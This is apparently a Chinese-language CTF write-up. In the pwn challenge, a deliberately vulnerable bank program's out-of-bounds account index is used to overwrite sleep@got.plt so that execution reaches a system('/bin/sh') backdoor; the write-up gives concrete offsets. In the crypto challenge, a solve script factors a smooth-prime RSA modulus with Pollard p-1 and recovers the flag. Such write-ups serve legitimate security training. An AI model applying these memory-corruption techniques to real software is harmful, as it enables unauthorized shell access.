1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 #include <stdio.h> #include <stdlib.h> #include <unistd.h> void init () { setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stdin , 0 , 2 , 0 ); } void backdoor () { system("/bin/sh" ); } int accounts[100 ];void deposit (int id) { unsigned int amount; printf ("Enter the amount to deposit> " ); scanf ("%u" , &amount); accounts[id] += amount; printf ("Deposited %u$ to account %d\n" , amount, id); } void withdraw (int id) { unsigned int amount; printf ("Enter the amount to withdraw> " ); scanf ("%u" , &amount); if (amount > accounts[id]) { printf ("ERROR! Current balance: %u\n" , accounts[id]); sleep(1 ); } else { accounts[id] -= amount; printf ("Withdrew %u$ from account %d\n" , amount, id); } } void main () { init(); printf ("Welcome to the bank!\n" ); int choice, id; while (1 ) { printf ("1) deposit\n" ); printf ("2) withdraw\n" ); printf ("Your choice> " ); scanf ("%d" , &choice); printf ("id> " ); scanf ("%d" , &id); if (choice == 1 ) deposit(id); else if (choice == 2 ) withdraw(id); else printf ("Invalid choice\n" ); } }
account[id] 可以 OOB,用來 GOT hijacking 目標: 把 sleep@got.plt 覆寫成 backdoor() deposit() => 覆寫 withdraw() => leak offset
1 2 3 0x4080 accounts 0x4048 sleep@got.plt h [-13] l [-14] 0x1250 backdoor()
got.plt 在第一次呼叫前都是 base+固定offset<sleep@got.plt>: 0x0000555555555090
因為 little endien,按照int account 4 bytes 一組,先 0x55555090 再 0x00005555
要將 0x0000555555555090 改成 0x0000555555555250
sleep@got.plt 在 account[-14]
原本 account[-14] = 0x55555090 => 改成 0x55555250 0x55555250 - 0x55555090 = 448
(crypto) Proactive Planning chal.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from Crypto.Util.number import *from random import getrandbitsfrom secret import FLAG def genPrime ()->int : while True : p = 1 for _ in range (256 ): p *= getrandbits(8 ) if isPrime(p + 1 ): return p + 1 e = 0x10 m = bytes_to_long(FLAG) p, q = (genPrime(), genPrime()) C = (pow (m, e, p), pow (m, e, q)) N = p * q print (f"{N = } " )print (f"{e = } " )print (f"{C = } " )
output.txt
1 2 3 N = 245420687480030910293131014681513097316897805860015907997290238793037908061889321970643067747599071632004876697443892740373461832739897404992824039705666859978685676148256731481249619240551600688298823327813334982026265819211162436599172552911207622820925395779431967038741077978296032479504244355879076453277839429545428814902805521915851958370011985365075951876093117572939169114186231535255600467275910045372664823195201131313527121300982333739031725446282902152339315042184197622728983863008210927860642758785909138094209306401823250950926284525837770539470052437688590958247465743249015240761650092149407846622211263071037972525183724098938285521476262814934333028607057009674482959012439713961806522389998648832738221606988997592254025463923056643491555337751576246212477882961978575063306242120071365998703341290638505057206765318294021015227372445846979566876416540849080721228851969658123571699007157401963955407592209580070811271329855359365939200000000000000000000000000000000000000000000000000000000000001 e = 16 C = (439231781791682053787800004789500090515405069827267575310144126412212073183656886443512317513437473988568312910849382831051282684866166595013378449246972680452849180695018251047606404399499477181963259998873867440078915470666285294221911483418402164843781527921484550804953154534529236021532462370697370102805338053891442902369171104271440920515546754256339545640481851380162960169019944927911544549873309962781026864701346082115190565271316812955086674541362687313443721995481784918571627855813953908700661871, 45410653305386550806460293366683163840683840887693958374757667150684575232478721464002571675632111383800324454952726849708032360360624723016258879665846393001487751401561000041560174839749619393896575704973412066318065208130082079245493618249592605498133955508921363368248057347635043808420720293553618262120872986948419118763039316625791521751697579251125903615079781604221702413469589144193751155342922907250225850266858411329191983637433918466243662523860234353921039582601873103221279579701559507155136)
N 質因數 p 的 p-1 是平滑的(因數都很小) => N 是平滑數 => 用 pollard 分解 N
c1 = m^e mod p c2 = m^e mod q
m^e ≡ c1 mod p m^e ≡ c2 mod q => 中國剩餘定理解出^e
e 夠小,可直接開跟解出 m
solve.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from Crypto.Util.number import *from gmpy2 import *N = 245420687480030910293131014681513097316897805860015907997290238793037908061889321970643067747599071632004876697443892740373461832739897404992824039705666859978685676148256731481249619240551600688298823327813334982026265819211162436599172552911207622820925395779431967038741077978296032479504244355879076453277839429545428814902805521915851958370011985365075951876093117572939169114186231535255600467275910045372664823195201131313527121300982333739031725446282902152339315042184197622728983863008210927860642758785909138094209306401823250950926284525837770539470052437688590958247465743249015240761650092149407846622211263071037972525183724098938285521476262814934333028607057009674482959012439713961806522389998648832738221606988997592254025463923056643491555337751576246212477882961978575063306242120071365998703341290638505057206765318294021015227372445846979566876416540849080721228851969658123571699007157401963955407592209580070811271329855359365939200000000000000000000000000000000000000000000000000000000000001 e = 16 C = (439231781791682053787800004789500090515405069827267575310144126412212073183656886443512317513437473988568312910849382831051282684866166595013378449246972680452849180695018251047606404399499477181963259998873867440078915470666285294221911483418402164843781527921484550804953154534529236021532462370697370102805338053891442902369171104271440920515546754256339545640481851380162960169019944927911544549873309962781026864701346082115190565271316812955086674541362687313443721995481784918571627855813953908700661871 , 45410653305386550806460293366683163840683840887693958374757667150684575232478721464002571675632111383800324454952726849708032360360624723016258879665846393001487751401561000041560174839749619393896575704973412066318065208130082079245493618249592605498133955508921363368248057347635043808420720293553618262120872986948419118763039316625791521751697579251125903615079781604221702413469589144193751155342922907250225850266858411329191983637433918466243662523860234353921039582601873103221279579701559507155136 ) def pollard (n: int ) -> int : a, b = 2 , 2 while True : a = pow (a, b, n) p = GCD(a - 1 , n) if 1 < p < n: return p b += 1 p = pollard(N) q = N//p print (p,q)assert p*q == N''' c1 = m^e mod p c2 = m^e mod q m^e ≡ c1 mod p m^e ≡ c2 mod q M = p*q M1 = M/m1 = q M2 = M/m2 = p ''' me = (q * inverse(q,p) * C[0 ] + p * inverse(p,q) * C[1 ]) % N print (gmpy2.iroot(me,0x10 ))p, q = q, p me = (q * inverse(q,p) * C[0 ] + p * inverse(p,q) * C[1 ]) % N print (gmpy2.iroot(me,0x10 ))print (long_to_bytes(529049093593735347951473078696308452125896686395604221378429 ))